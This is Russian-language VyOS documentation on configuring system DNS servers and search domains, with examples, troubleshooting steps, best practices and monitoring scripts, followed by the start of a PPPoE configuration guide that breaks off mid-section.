set system host-name vyos-gateway-europe-west1-b
set system domain-name c.my-project-id.internal

# DNS конфигурация
set system name-server 169.254.169.254
set system name-server 10.128.0.2

# Domain search
set system domain-search c.my-project-id.internal

# NTP (Google Public NTP)
set service ntp server time.google.com

commit
save
exit
```

## Примеры конфигураций

### Пример 1: Корпоративная сеть с внутренним DNS

**Задача:** Настроить VyOS для использования корпоративного DNS с резервными публичными серверами.

```bash
configure

# DNS конфигурация
# Основной корпоративный DNS (Active Directory)
set system name-server 192.168.1.10

# Резервный корпоративный DNS
set system name-server 192.168.1.11

# Публичный резервный (на случай отказа корпоративных)
set system name-server 8.8.8.8

# Domain search для корпоративных доменов
set system domain-search corp.example.com
set system domain-search example.com

# Hostname
set system host-name vyos-gateway
set system domain-name corp.example.com

commit
save
exit
```

**Проверка:**

```bash
# Проверить резолюцию корпоративных имен
nslookup dc01
# Должен резолвится как dc01.corp.example.com через 192.168.1.10

# Проверить резолюцию внешних имен
nslookup google.com
# Должен резолвится через корпоративный DNS

# Проверить конфигурацию
cat /etc/resolv.conf
```

### Пример 2: Edge router с публичными DNS

**Задача:** Настроить пограничный маршрутизатор с надежными публичными DNS.

```bash
configure

# DNS конфигурация с несколькими провайдерами
# Google DNS
set system name-server 8.8.8.8
set system name-server 8.8.4.4

# Cloudflare DNS
set system name-server 1.1.1.1

# Hostname
set system host-name vyos-edge-router
set system domain-name edge.local

commit
save
exit
```

### Пример 3: Multi-site с условной forwarding

**Задача:** Головной офис с филиалами, каждый филиал имеет свой DNS домен.

```bash
configure

# Основной офис (Москва)
set system host-name vyos-hq-moscow
set system domain-name moscow.corp.local

# DNS серверы
# Локальный DNS (резолвит moscow.corp.local)
set system name-server 192.168.1.53

# DNS головного офиса (резолвит corp.local и филиалы)
set system name-server 10.0.0.53

# Публичный резервный
set system name-server 8.8.8.8

# Domain search для всех филиалов
set system domain-search moscow.corp.local
set system domain-search spb.corp.local
set system domain-search ekb.corp.local
set system domain-search corp.local

commit
save
exit
```

**Филиал (Санкт-Петербург):**

```bash
configure

set system host-name vyos-branch-spb
set system domain-name spb.corp.local

# Локальный DNS филиала
set system name-server 192.168.2.53

# DNS головного офиса через VPN
set system name-server 10.0.0.53

# Публичный резервный
set system name-server 8.8.8.8

# Domain search
set system domain-search spb.corp.local
set system domain-search corp.local

commit
save
exit
```

### Пример 4: DMZ с ограниченным DNS

**Задача:** DMZ роутер, который должен резолвить только определенные домены.

```bash
configure

set system host-name vyos-dmz
set system domain-name dmz.example.com

# DNS сервер с whitelist для DMZ
set system name-server 10.10.10.53

# Резервный публичный (ограниченный firewall правилами)
set system name-server 8.8.8.8

# Domain search только для DMZ
set system domain-search dmz.example.com

commit
save
exit
```

### Пример 5: IPv6-only сеть

**Задача:** Настроить DNS для IPv6-only инфраструктуры.

```bash
configure

set system host-name vyos-ipv6-router
set system domain-name ipv6.example.com

# Google DNS (IPv6)
set system name-server 2001:4860:4860::8888
set system name-server 2001:4860:4860::8844

# Cloudflare DNS (IPv6)
set system name-server 2606:4700:4700::1111
set system name-server 2606:4700:4700::1001

# Domain search
set system domain-search ipv6.example.com

commit
save
exit
```

### Пример 6: Dual-stack с приоритетом IPv6

**Задача:** Dual-stack сеть с предпочтением IPv6 для DNS.

```bash
configure

set system host-name vyos-dualstack
set system domain-name dualstack.example.com

# IPv6 DNS серверы (приоритет - указаны первыми)
set system name-server 2001:4860:4860::8888
set system name-server 2001:4860:4860::8844

# IPv4 DNS серверы (fallback)
set system name-server 8.8.8.8
set system name-server 8.8.4.4

# Domain search
set system domain-search dualstack.example.com

commit
save
exit
```

## Команды проверки и мониторинга

### Проверка конфигурации DNS

```bash
# Показать настроенные DNS серверы
show configuration system name-server

# Показать domain-search
show configuration system domain-search

# Показать всю системную конфигурацию
show configuration system
```

### Проверка /etc/resolv.conf

```bash
# Просмотр актуального содержимого resolv.conf
cat /etc/resolv.conf

# Пример вывода:
# nameserver 8.8.8.8
# nameserver 8.8.4.4
# search vyos.io vyos.net
```

### Тестирование DNS резолюции

#### Базовые команды

```bash
# DNS lookup с nslookup
nslookup google.com

# Вывод:
# Server:         8.8.8.8
# Address:        8.8.8.8#53
#
# Non-authoritative answer:
# Name:   google.com
# Address: 142.250.185.46
```

```bash
# DNS lookup с dig
dig google.com

# Детальная информация
dig google.com +short

# Проверка конкретного DNS сервера
dig @8.8.8.8 google.com
```

```bash
# DNS lookup с host
host google.com

# Reverse DNS lookup
host 8.8.8.8
```

#### Проверка domain-search

```bash
# При настроенном domain-search: example.com

# Запрос короткого имени (должен добавиться суффикс)
dig server1

# Вывод покажет: server1.example.com

# Проверка с verbose
dig +search server1
```

#### Трассировка DNS запросов

```bash
# Полная трассировка DNS резолюции
dig +trace google.com

# Вывод:
# . 86400 IN NS a.root-servers.net.
# ...
# google.com. 172800 IN NS ns1.google.com.
# ...
# google.com. 300 IN A 142.250.185.46
```

#### Проверка DNSSEC

```bash
# Проверить DNSSEC подписи
dig google.com +dnssec

# Проверить валидность DNSSEC
dig google.com +dnssec +multiline
```

### Мониторинг производительности DNS

```bash
# Измерить время резолюции
time nslookup google.com

# Вывод:
# real    0m0.045s
# user    0m0.012s
# sys     0m0.008s
```

```bash
# Статистика DNS запросов с dig
dig google.com +stats

# Вывод включает:
# ;; Query time: 45 msec
# ;; SERVER: 8.8.8.8#53(8.8.8.8)
# ;; WHEN: Wed Jan 15 10:30:45 MSK 2025
# ;; MSG SIZE  rcvd: 55
```

### Проверка доступности DNS серверов

```bash
# Ping DNS сервера
ping -c 4 8.8.8.8

# Проверить UDP порт 53
nc -vuz 8.8.8.8 53

# Или с nmap
nmap -sU -p 53 8.8.8.8
```

### Проверка DNS для определенного домена

```bash
# Запрос всех DNS записей
dig example.com ANY

# Запрос конкретных типов записей
dig example.com A      # IPv4 адрес
dig example.com AAAA   # IPv6 адрес
dig example.com MX     # Mail exchange
dig example.com NS     # Name servers
dig example.com TXT    # Text records
dig example.com SOA    # Start of authority
```

### Проверка reverse DNS

```bash
# Reverse lookup (PTR запись)
dig -x 8.8.8.8

# Или с host
host 8.8.8.8

# Или с nslookup
nslookup 8.8.8.8
```

### Логирование DNS запросов

```bash
# Включить debug логирование DNS (временно)
sudo tcpdump -i any port 53 -vv

# Логировать DNS запросы в файл
sudo tcpdump -i any port 53 -w /tmp/dns-traffic.pcap

# Анализ сохраненного файла
sudo tcpdump -r /tmp/dns-traffic.pcap -vv
```

### Проверка DNS кэша

```bash
# VyOS не имеет встроенного DNS кэша на уровне системы
# Но если включен dns forwarding, можно проверить его кэш

# Показать статистику dns forwarding (если настроен)
show dns forwarding statistics

# Очистить кэш dns forwarding (если настроен)
reset dns forwarding cache
```

## Устранение неполадок (Troubleshooting)

### Проблема 1: DNS не резолвит имена

**Симптомы:**
- Команды `nslookup`, `dig`, `host` возвращают ошибки
- Система не может обновить пакеты через `apt update`
- NTP не синхронизируется (если NTP серверы указаны по имени)

**Диагностика:**

```bash
# Проверить конфигурацию DNS
show configuration system name-server

# Проверить /etc/resolv.conf
cat /etc/resolv.conf

# Проверить доступность DNS серверов
ping 8.8.8.8

# Проверить UDP порт 53
nc -vuz 8.8.8.8 53

# Проверить DNS резолюцию
nslookup google.com
```

**Решение:**

```bash
# Если DNS серверы не настроены - настроить
configure
set system name-server 8.8.8.8
set system name-server 8.8.4.4
commit
save
exit

# Проверить firewall правила (DNS должен быть разрешен)
show firewall

# Добавить правило, если DNS блокируется
configure
set firewall name WAN_LOCAL rule 100 action accept
set firewall name WAN_LOCAL rule 100 protocol udp
set firewall name WAN_LOCAL rule 100 destination port 53
commit
save
exit

# Проверить результат
nslookup google.com
```

### Проблема 2: Медленная DNS резолюция

**Симптомы:**
- Команды DNS занимают несколько секунд
- Веб-браузинг медленный
- SSH подключения долго устанавливаются

**Диагностика:**

```bash
# Измерить время резолюции
time nslookup google.com

# Проверить RTT к DNS серверам
ping -c 10 8.8.8.8

# Проверить статистику dig
dig google.com +stats

# Трассировка до DNS сервера
traceroute 8.8.8.8
```

**Решение:**

```bash
# Использовать более быстрые или близкие DNS серверы
configure

# Удалить медленные серверы
delete system name-server 8.8.8.8

# Добавить быстрые локальные серверы
set system name-server 192.168.1.53  # Локальный DNS
set system name-server 77.88.8.8     # Yandex DNS (для России)

commit
save
exit

# Проверить улучшение
time nslookup google.com
```

### Проблема 3: Domain-search не работает

**Симптомы:**
- Короткие имена не резолвятся
- Необходимо указывать полные FQDN

**Диагностика:**

```bash
# Проверить конфигурацию domain-search
show configuration system domain-search

# Проверить /etc/resolv.conf
cat /etc/resolv.conf | grep search

# Тестовый запрос
dig +search server1
```

**Решение:**

```bash
# Настроить domain-search
configure
set system domain-search example.com
commit
save
exit

# Проверить /etc/resolv.conf
cat /etc/resolv.conf
# Должна быть строка: search example.com

# Тестовый запрос
dig server1
# Должен резолвится как server1.example.com
```

### Проблема 4: DNS резолвит только IPv6 или только IPv4

**Симптомы:**
- Dual-stack имена резолвятся только в один тип адресов
- Нет A или AAAA записей

**Диагностика:**

```bash
# Проверить IPv4 резолюцию
dig google.com A

# Проверить IPv6 резолюцию
dig google.com AAAA

# Проверить оба
dig google.com A AAAA
```

**Решение:**

```bash
# Убедиться, что используются DNS серверы, поддерживающие оба протокола
configure

# Для dual-stack использовать современные DNS
set system name-server 8.8.8.8
set system name-server 2001:4860:4860::8888

commit
save
exit

# Проверить оба типа записей
dig google.com A
dig google.com AAAA
```

### Проблема 5: Конфликт статических и DHCP DNS

**Симптомы:**
- DNS серверы меняются после перезагрузки
- /etc/resolv.conf содержит неожиданные серверы

**Диагностика:**

```bash
# Проверить статическую конфигурацию
show configuration system name-server

# Проверить DHCP конфигурацию на интерфейсах
show configuration interfaces ethernet

# Проверить /etc/resolv.conf
cat /etc/resolv.conf
```

**Решение:**

```bash
# Вариант 1: Использовать только статические DNS
configure
set system name-server 8.8.8.8
set system name-server 8.8.4.4
commit
save
exit

# Вариант 2: Использовать только DHCP DNS
configure
delete system name-server
commit
save
exit

# Вариант 3: Отключить DHCP DNS на интерфейсе (если поддерживается)
configure
set interfaces ethernet eth0 dhcp-options no-default-route
commit
save
exit
```

### Проблема 6: DNS не резолвит внутренние cloud имена

**Симптомы:**
- Внешние имена резолвятся, внутренние (*.auto.internal, *.ec2.internal) - нет
- Используются публичные DNS вместо облачных

**Диагностика:**

```bash
# Проверить конфигурацию DNS
show configuration system name-server

# Попытаться резолвить внутреннее имя
nslookup vm-name.auto.internal

# Проверить, какой DNS сервер используется
dig vm-name.auto.internal
```

**Решение (Yandex Cloud):**

```bash
configure

# Добавить внутренний DNS Yandex Cloud первым
set system name-server 10.128.0.2

# Затем публичные
set system name-server 77.88.8.8

# Domain-search для внутренних имен
set system domain-search auto.internal
set system domain-search ru-central1.internal

commit
save
exit

# Проверить
nslookup vm-name.auto.internal
```

**Решение (AWS):**

```bash
configure

# Использовать VPC DNS
set system name-server 10.0.0.2

# Domain-search для EC2
set system domain-search us-east-1.compute.internal
set system domain-search ec2.internal

commit
save
exit

# Проверить
nslookup ip-10-0-1-5.ec2.internal
```

### Проблема 7: VRF routing для DNS не работает

**Симптомы:**
- Management VRF настроен, но DNS трафик идет через default VRF
- DNS недоступен в изолированном VRF

**Объяснение:**

В текущих версиях VyOS нет способа направить системный DNS трафик через определенный VRF. Это известное ограничение.

**Workaround:**

```bash
# Вариант 1: Использовать DNS сервер доступный из default VRF
configure
set system name-server 8.8.8.8  # Публичный DNS через default route
commit
save
exit

# Вариант 2: Настроить static route для DNS сервера
configure
set protocols static route 192.168.1.53/32 next-hop 10.0.0.1
commit
save
exit

# Вариант 3: Использовать DNS forwarding с source-address
# (позволяет указать source IP для запросов)
configure
set service dns forwarding listen-address 127.0.0.1
set service dns forwarding name-server 192.168.1.53
set service dns forwarding source-address 10.0.0.10
commit
save
exit

# Изменить system name-server на localhost
configure
set system name-server 127.0.0.1
commit
save
exit
```

### Проблема 8: DNSSEC валидация не работает

**Симптомы:**
- DNSSEC-подписанные домены не резолвятся
- Ошибки валидации DNSSEC

**Диагностика:**

```bash
# Проверить DNSSEC валидацию
dig google.com +dnssec

# Проверить, поддерживает ли DNS сервер DNSSEC
dig @8.8.8.8 . DNSKEY
```

**Решение:**

```bash
# Использовать DNS серверы с поддержкой DNSSEC
configure

# Google DNS (поддерживает DNSSEC)
set system name-server 8.8.8.8

# Cloudflare DNS (поддерживает DNSSEC)
set system name-server 1.1.1.1

# Yandex DNS (поддерживает DNSSEC)
set system name-server 77.88.8.8

commit
save
exit

# Проверить DNSSEC
dig google.com +dnssec
```

## Лучшие практики (Best Practices)

### 1. Выбор DNS серверов

**Используйте минимум 2 DNS сервера:**

```bash
# Хорошо: 2-3 сервера
set system name-server 8.8.8.8
set system name-server 8.8.4.4

# Плохо: только один сервер
set system name-server 8.8.8.8
```

**Выбирайте близкие по RTT серверы:**

```bash
# Проверить RTT
ping -c 10 8.8.8.8
ping -c 10 77.88.8.8
ping -c 10 1.1.1.1

# Использовать сервер с наименьшим RTT
# Для России обычно:
set system name-server 77.88.8.8  # Yandex, ~5-10ms
set system name-server 8.8.8.8    # Google, ~20-30ms
```

**Комбинируйте разных провайдеров:**

```bash
# Диверсификация провайдеров DNS
set system name-server 77.88.8.8   # Yandex
set system name-server 8.8.8.8     # Google
set system name-server 1.1.1.1     # Cloudflare
```

### 2. Облачные инфраструктуры

**Всегда используйте внутренний облачный DNS первым:**

```bash
# Yandex Cloud
set system name-server 10.128.0.2   # Внутренний DNS
set system name-server 77.88.8.8    # Публичный резервный

# AWS
set system name-server 10.0.0.2     # VPC DNS
set system name-server 8.8.8.8      # Публичный резервный

# Azure
set system name-server 168.63.129.16  # Azure DNS
set system name-server 8.8.8.8        # Публичный резервный
```

**Настраивайте domain-search для внутренних имен:**

```bash
# Yandex Cloud
set system domain-search auto.internal
set system domain-search ru-central1.internal

# AWS
set system domain-search us-east-1.compute.internal
set system domain-search ec2.internal
```

### 3. Корпоративные сети

**Приоритизируйте внутренние DNS:**

```bash
# Корпоративный DNS первый (резолвит internal.corp.com)
set system name-server 192.168.1.10

# Резервный корпоративный
set system name-server 192.168.1.11

# Публичный только как last resort
set system name-server 8.8.8.8
```

**Используйте domain-search для удобства:**

```bash
set system domain-search corp.example.com
set system domain-search example.com

# Позволяет использовать:
# ping dc01 -> dc01.corp.example.com
# ping exchange -> exchange.corp.example.com
```

### 4. Безопасность

**Используйте только доверенные DNS серверы:**

```bash
# Хорошо: известные публичные DNS
set system name-server 8.8.8.8     # Google
set system name-server 1.1.1.1     # Cloudflare
set system name-server 77.88.8.8   # Yandex

# Плохо: случайные неизвестные DNS
set system name-server 123.45.67.89
```

**Рассмотрите DNS over TLS/HTTPS для конфиденциальности:**

Примечание: VyOS не поддерживает DoT/DoH напрямую через system name-server, но можно настроить через dns forwarding или внешний DNS proxy.

```bash
# Вариант с dns forwarding (требует дополнительных шагов)
set service dns forwarding listen-address 127.0.0.1
set service dns forwarding name-server 1.1.1.1
# Дополнительная настройка DoH требует ручной конфигурации

set system name-server 127.0.0.1
```

**Мониторьте DNS трафик:**

```bash
# Периодически проверяйте DNS запросы
sudo tcpdump -i any port 53 -c 100

# Ищите подозрительные запросы
```

### 5. Производительность

**Минимизируйте latency:**

```bash
# Проверить RTT к различным DNS серверам
ping -c 10 8.8.8.8
ping -c 10 77.88.8.8
ping -c 10 1.1.1.1

# Использовать самые быстрые
```

**Ограничьте количество domain-search записей:**

```bash
# Хорошо: 1-3 домена
set system domain-search corp.local
set system domain-search local

# Плохо: слишком много доменов (замедляет резолюцию)
set system domain-search domain1.com
set system domain-search domain2.com
set system domain-search domain3.com
set system domain-search domain4.com
set system domain-search domain5.com
set system domain-search domain6.com
```

**Используйте локальный DNS кэш:**

```bash
# Настроить dns forwarding как локальный кэш
set service dns forwarding listen-address 127.0.0.1
set service dns forwarding cache-size 10000
set service dns forwarding name-server 8.8.8.8
set service dns forwarding name-server 8.8.4.4

# Изменить system name-server на localhost
set system name-server 127.0.0.1

commit
save
```

### 6. Резервирование

**Избыточность DNS серверов:**

```bash
# Минимум 2, рекомендуется 3
set system name-server 192.168.1.10
set system name-server 192.168.1.11
set system name-server 8.8.8.8
```

**Географическая избыточность:**

```bash
# DNS серверы в разных дата-центрах
set system name-server 10.0.1.53   # DC1
set system name-server 10.1.1.53   # DC2
set system name-server 8.8.8.8     # Публичный резервный
```

### 7. Мониторинг и алертинг

**Регулярно проверяйте DNS:**

```bash
# Скрипт мониторинга DNS
sudo tee /config/scripts/dns-monitor.sh > /dev/null <<'EOF'
#!/bin/bash
# Мониторинг DNS резолюции

DNS_SERVERS="8.8.8.8 8.8.4.4"
TEST_DOMAIN="google.com"
TIMEOUT=5

for server in $DNS_SERVERS; do
    response=$(dig @$server $TEST_DOMAIN +time=$TIMEOUT +tries=1 +short 2>&1)
    if [ $? -eq 0 ] && [ -n "$response" ]; then
        echo "DNS $server: OK"
        logger -t dns-monitor "DNS $server: OK"
    else
        echo "DNS $server: FAILED"
        logger -t dns-monitor "ERROR: DNS $server FAILED"
        # Отправить алерт
    fi
done
EOF

chmod +x /config/scripts/dns-monitor.sh

# Запланировать проверку каждые 5 минут
set system task-scheduler task dns-monitor interval '*/5 * * * *'
set system task-scheduler task dns-monitor executable path '/config/scripts/dns-monitor.sh'

commit
save
```

**Алертинг на потерю DNS:**

```bash
# Интеграция с системой мониторинга
# Например, отправка в syslog для анализа SIEM
set system syslog host 10.0.0.100 facility local7 level warning
```

### 8. Документирование

**Документируйте выбор DNS серверов:**

```bash
# Добавьте комментарии в конфигурацию
configure
set system name-server 192.168.1.10
set system name-server 192.168.1.11
set system name-server 8.8.8.8

commit comment "DNS: 192.168.1.10/11 - корпоративные AD DNS, 8.8.8.8 - резервный"
save
```

**Храните историю изменений:**

```bash
# Просмотр истории изменений DNS
show system commit

# Сравнение конфигураций
show system commit diff 10
```

### 9. IPv6 Ready

**Поддерживайте dual-stack:**

```bash
# IPv4 + IPv6 DNS серверы
set system name-server 8.8.8.8
set system name-server 8.8.4.4
set system name-server 2001:4860:4860::8888
set system name-server 2001:4860:4860::8844

commit
save
```

### 10. Testing и Validation

**Тестируйте DNS после изменений:**

```bash
# После изменения конфигурации DNS всегда тестируйте
nslookup google.com
nslookup internal-server.corp.local
ping -c 4 ntp.pool.org

# Проверить время резолюции
time nslookup google.com

# Проверить domain-search
dig +search server1
```

## Интеграция с другими сервисами VyOS

### NTP

DNS используется для резолюции NTP серверов, указанных по имени:

```bash
configure

# DNS для резолюции NTP серверов
set system name-server 8.8.8.8
set system name-server 8.8.4.4

# NTP серверы по имени (требуют DNS резолюции)
set service ntp server 0.pool.ntp.org
set service ntp server 1.pool.ntp.org

commit
save
exit

# Проверить, что NTP серверы резолвятся
nslookup 0.pool.ntp.org
show ntp
```

### Syslog

DNS используется для резолюции удаленных syslog серверов:

```bash
configure

# DNS конфигурация
set system name-server 8.8.8.8

# Syslog сервер по имени
set system syslog host syslog.corp.local facility all level info
set system syslog host syslog.corp.local protocol tcp
set system syslog host syslog.corp.local port 514

commit
save
exit

# Проверить резолюцию syslog сервера
nslookup syslog.corp.local
```

### DNS Forwarding

System name-server может использоваться вместе с dns forwarding:

```bash
configure

# System DNS (для самой VyOS системы)
set system name-server 8.8.8.8
set system name-server 8.8.4.4

# DNS Forwarding (для клиентов LAN)
set service dns forwarding listen-address 192.168.1.1
set service dns forwarding name-server 8.8.8.8
set service dns forwarding name-server 8.8.4.4

commit
save
exit
```

Разница:
- `system name-server` - используется самой системой VyOS
- `service dns forwarding name-server` - upstream серверы для клиентов

### VPN

DNS используется для резолюции удаленных VPN endpoint:

```bash
configure

# DNS конфигурация
set system name-server 8.8.8.8

# IPsec VPN с peer по имени
set vpn ipsec site-to-site peer vpn-gateway.example.com
set vpn ipsec site-to-site peer vpn-gateway.example.com authentication mode pre-shared-secret
set vpn ipsec site-to-site peer vpn-gateway.example.com authentication pre-shared-secret secret123

commit
save
exit

# Проверить резолюцию VPN peer
nslookup vpn-gateway.example.com
```

### Containers

DNS используется для загрузки container images:

```bash
configure

# DNS конфигурация
set system name-server 8.8.8.8

# Container с image из registry по имени
set container name nginx image docker.io/nginx:latest

commit
save
exit

# Проверить резолюцию registry
nslookup docker.io
```

## Скрипты автоматизации

### Скрипт проверки DNS здоровья

```bash
sudo tee /config/scripts/dns-health-check.sh > /dev/null <<'EOF'
#!/bin/bash
# DNS Health Check Script

# Параметры
TEST_DOMAINS="google.com cloudflare.com yandex.ru"
DNS_SERVERS=$(grep ^nameserver /etc/resolv.conf | awk '{print $2}')
TIMEOUT=5

echo "=== DNS Health Check ==="
echo "Date: $(date)"
echo ""

# Проверка каждого DNS сервера
for dns in $DNS_SERVERS; do
    echo "Testing DNS server: $dns"

    # Проверка доступности DNS сервера
    if ping -c 1 -W 1 $dns > /dev/null 2>&1; then
        echo "  [OK] DNS server is reachable"
    else
        echo "  [FAIL] DNS server is unreachable"
        continue
    fi

    # Проверка резолюции тестовых доменов
    for domain in $TEST_DOMAINS; do
        start=$(date +%s%N)
        result=$(dig @$dns $domain +time=$TIMEOUT +tries=1 +short 2>&1)
        end=$(date +%s%N)

        if [ $? -eq 0 ] && [ -n "$result" ]; then
            duration=$(( ($end - $start) / 1000000 ))
            echo "  [OK] $domain resolved in ${duration}ms"
        else
            echo "  [FAIL] $domain resolution failed"
        fi
    done

    echo ""
done

echo "=== DNS Health Check Complete ==="
EOF

chmod +x /config/scripts/dns-health-check.sh

# Запустить проверку
/config/scripts/dns-health-check.sh
```

### Скрипт автоматического выбора лучшего DNS

```bash
sudo tee /config/scripts/dns-benchmark.sh > /dev/null <<'EOF'
#!/bin/bash
# DNS Benchmark Script

DNS_CANDIDATES="8.8.8.8 8.8.4.4 1.1.1.1 1.0.0.1 77.88.8.8 77.88.8.1"
TEST_DOMAIN="google.com"
TEST_COUNT=10

echo "=== DNS Benchmark ==="

declare -A dns_times

for dns in $DNS_CANDIDATES; do
    echo -n "Testing $dns ... "

    total=0
    success=0

    for i in $(seq 1 $TEST_COUNT); do
        start=$(date +%s%N)
        dig @$dns $TEST_DOMAIN +time=2 +tries=1 +short > /dev/null 2>&1
        if [ $? -eq 0 ]; then
            end=$(date +%s%N)
            duration=$(( ($end - $start) / 1000000 ))
            total=$(( $total + $duration ))
            success=$(( $success + 1 ))
        fi
    done

    if [ $success -gt 0 ]; then
        avg=$(( $total / $success ))
        dns_times[$dns]=$avg
        echo "Average: ${avg}ms (${success}/${TEST_COUNT} success)"
    else
        echo "FAILED"
    fi
done

echo ""
echo "=== Recommended DNS Servers ==="

# Сортировать по времени
for dns in "${!dns_times[@]}"; do
    echo "${dns_times[$dns]} $dns"
done | sort -n | head -3 | while read time dns; do
    echo "set system name-server $dns  # ${time}ms"
done
EOF

chmod +x /config/scripts/dns-benchmark.sh

# Запустить benchmark
/config/scripts/dns-benchmark.sh
```

### Скрипт экспорта DNS конфигурации

```bash
sudo tee /config/scripts/export-dns-config.sh > /dev/null <<'EOF'
#!/bin/vbash
# Export DNS Configuration to JSON

source /opt/vyatta/etc/functions/script-template

OUTPUT_FILE="/config/dns-config-export.json"

echo "{" > "$OUTPUT_FILE"
echo "  \"timestamp\": \"$(date -Iseconds)\"," >> "$OUTPUT_FILE"
echo "  \"hostname\": \"$(hostname)\"," >> "$OUTPUT_FILE"
echo "  \"name_servers\": [" >> "$OUTPUT_FILE"

# Получить DNS серверы
NAMESERVERS=$(grep ^nameserver /etc/resolv.conf | awk '{print $2}')
FIRST=1
for ns in $NAMESERVERS; do
    if [ $FIRST -eq 1 ]; then
        FIRST=0
    else
        echo "," >> "$OUTPUT_FILE"
    fi
    echo -n "    \"$ns\"" >> "$OUTPUT_FILE"
done

echo "" >> "$OUTPUT_FILE"
echo "  ]," >> "$OUTPUT_FILE"
echo "  \"domain_search\": [" >> "$OUTPUT_FILE"

# Получить domain-search
SEARCH=$(grep ^search /etc/resolv.conf | sed 's/search //')
FIRST=1
for domain in $SEARCH; do
    if [ $FIRST -eq 1 ]; then
        FIRST=0
    else
        echo "," >> "$OUTPUT_FILE"
    fi
    echo -n "    \"$domain\"" >> "$OUTPUT_FILE"
done

echo "" >> "$OUTPUT_FILE"
echo "  ]" >> "$OUTPUT_FILE"
echo "}" >> "$OUTPUT_FILE"

echo "DNS configuration exported to $OUTPUT_FILE"
cat "$OUTPUT_FILE"
EOF

chmod +x /config/scripts/export-dns-config.sh

# Запустить экспорт
/config/scripts/export-dns-config.sh
```

## Связанные документы

- [System Configuration](/docs/vyos/system/) - Общая конфигурация системы
- [Host Name](/docs/vyos/system/vyos-host-name/) - Настройка имени хоста и статических записей
- [DNS Forwarding](/docs/vyos/services/vyos-dns/) - DNS сервер для клиентов
- [NTP](/docs/vyos/services/vyos-ntp/) - Настройка времени и NTP
- [Syslog](/docs/vyos/system/vyos-syslog/) - Настройка системного логирования
- [VPN](/docs/vyos/vpn/) - VPN конфигурация
- [Containers](/docs/vyos/containers/) - Управление контейнерами

## Дополнительные ресурсы

- [RFC 1034 - Domain Names - Concepts and Facilities](https://tools.ietf.org/html/rfc1034)
- [RFC 1035 - Domain Names - Implementation and Specification](https://tools.ietf.org/html/rfc1035)
- [RFC 1123 - Requirements for Internet Hosts](https://tools.ietf.org/html/rfc1123)
- [VyOS Documentation - Name Server](https://docs.vyos.io/en/latest/configuration/system/name-server.html)
- [Yandex Cloud DNS](https://cloud.yandex.ru/docs/vpc/concepts/dhcp-options)
- [AWS VPC DNS](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-dns.html)
- [Azure DNS](https://docs.microsoft.com/en-us/azure/virtual-network/virtual-networks-name-resolution-for-vms-and-role-instances)
- [Google Cloud DNS](https://cloud.google.com/vpc/docs/dns)
- [Public DNS Comparison](https://www.dnsperf.com/)

## Заключение

Правильная настройка системных DNS серверов (name-server) и списка доменов для поиска (domain-search) в VyOS критически важна для корректной работы всех системных компонентов. DNS используется для обновления пакетов, синхронизации времени через NTP, отправки логов на удаленные серверы, установки VPN соединений и множества других операций.

Ключевые моменты:

1. **Избыточность**: Всегда настраивайте минимум 2-3 DNS сервера для отказоустойчивости
2. **Производительность**: Выбирайте DNS серверы с низким RTT для вашего региона
3. **Облачная интеграция**: Используйте внутренние облачные DNS серверы для резолюции внутренних имен
4. **Безопасность**: Используйте только доверенные DNS серверы
5. **Мониторинг**: Регулярно проверяйте работоспособность DNS
6. **Документирование**: Документируйте выбор DNS серверов и изменения конфигурации

Следуйте рекомендациям из раздела "Лучшие практики" для обеспечения надежной и производительной DNS инфраструктуры в вашей сети VyOS.


---

# PPPoE - Point-to-Point Protocol over Ethernet

Source: https://opennix.org/docs/vyos/interfaces/vyos-pppoe/


PPPoE (Point-to-Point Protocol over Ethernet) - это сетевой протокол для инкапсуляции PPP фреймов внутри Ethernet фреймов. PPPoE широко используется DSL провайдерами и интернет-провайдерами для предоставления услуг широкополосного доступа с аутентификацией, шифрованием и управлением соединением.

## Введение в PPPoE

### Что такое PPPoE?

PPPoE - это протокол, который:
- Инкапсулирует PPP фреймы в Ethernet фреймы
- Обеспечивает аутентификацию пользователя (PAP, CHAP, MS-CHAP, MS-CHAPv2)
- Управляет установкой и разрывом соединения
- Поддерживает динамическое назначение IP адресов
- Используется для DSL, FTTH, кабельных модемов

### Архитектура PPPoE

**Компоненты:**
- PPPoE Client - инициирует соединение (VyOS router)
- PPPoE Server - принимает соединение (ISP equipment)
- Access Concentrator (AC) - сервер провайдера
- DSL/Ethernet Modem - физическое устройство

**Этапы установки соединения:**
1. Discovery Stage - поиск Access Concentrator
   - PADI (Active Discovery Initiation)
   - PADO (Active Discovery Offer)
   - PADR (Active Discovery Request)
   - PADS (Active Discovery Session-confirmation)
2. PPP Session Stage - установка PPP сессии
   - LCP (Link Control Protocol)
   - Authentication (PAP/CHAP)
   - NCP (Network Control Protocol)
   - IP configuration

### Режимы работы

**Режим 1: Домашние пользователи (Transparent Mode)**
```
[Computer] ---- [DSL Modem with PPPoE] ---- [ISP]
                     (auto-connect)
```
- Модем автоматически устанавливает PPPoE соединение
- Получает приватный IP адрес (RFC 1918)
- Возможен double NAT

**Режим 2: Роутер VyOS (Bridge Mode)**
```
[LAN] ---- [VyOS Router] ---- [DSL Modem Bridge] ---- [ISP]
                PPPoE Client
```
- VyOS инициирует PPPoE соединение
- Модем работает в режиме моста
- Полный контроль над сетевой конфигурацией
- Один уровень NAT

### Когда использовать PPPoE?

**Рекомендуется для:**
- Подключение к DSL провайдеру
- FTTH (Fiber to the Home) соединения
- Кабельные модемы с PPPoE
- Любое подключение требующее ISP аутентификацию
- Соединения с динамическим IP от провайдера

**Применение:**
- Домашний интернет через DSL/FTTH
- Офисное подключение к провайдеру
- Резервное подключение через DSL
- Тестирование PPPoE инфраструктуры

## Конфигурация PPPoE

### Базовая настройка

```bash
configure

# Создать PPPoE интерфейс
set interfaces pppoe pppoe0 source-interface eth0
set interfaces pppoe pppoe0 authentication username 'myuser@isp.ru'
set interfaces pppoe pppoe0 authentication password 'SecretPassword123'

# Использовать default route от ISP
set interfaces pppoe pppoe0 default-route auto

commit
save
```

**Результат:**
- PPPoE соединение через eth0
- Автоматическое получение IP адреса от ISP
- Default route указывает на PPPoE интерфейс

### Параметры конфигурации

#### Source Interface

```bash
# Физический интерфейс для PPPoE
set interfaces pppoe pppoe0 source-interface eth0

# PPPoE через VLAN интерфейс
set interfaces ethernet eth0 vif 100
set interfaces pppoe pppoe0 source-interface eth0.100
```

**Важно:** Source interface должен быть:
- Физическим Ethernet интерфейсом
- VLAN sub-interface
- Bond интерфейсом
- В состоянии UP

#### Authentication

```bash
# Username и password от ISP
set interfaces pppoe pppoe0 authentication username 'user@provider.com'
set interfaces pppoe pppoe0 authentication password 'MyPassword'

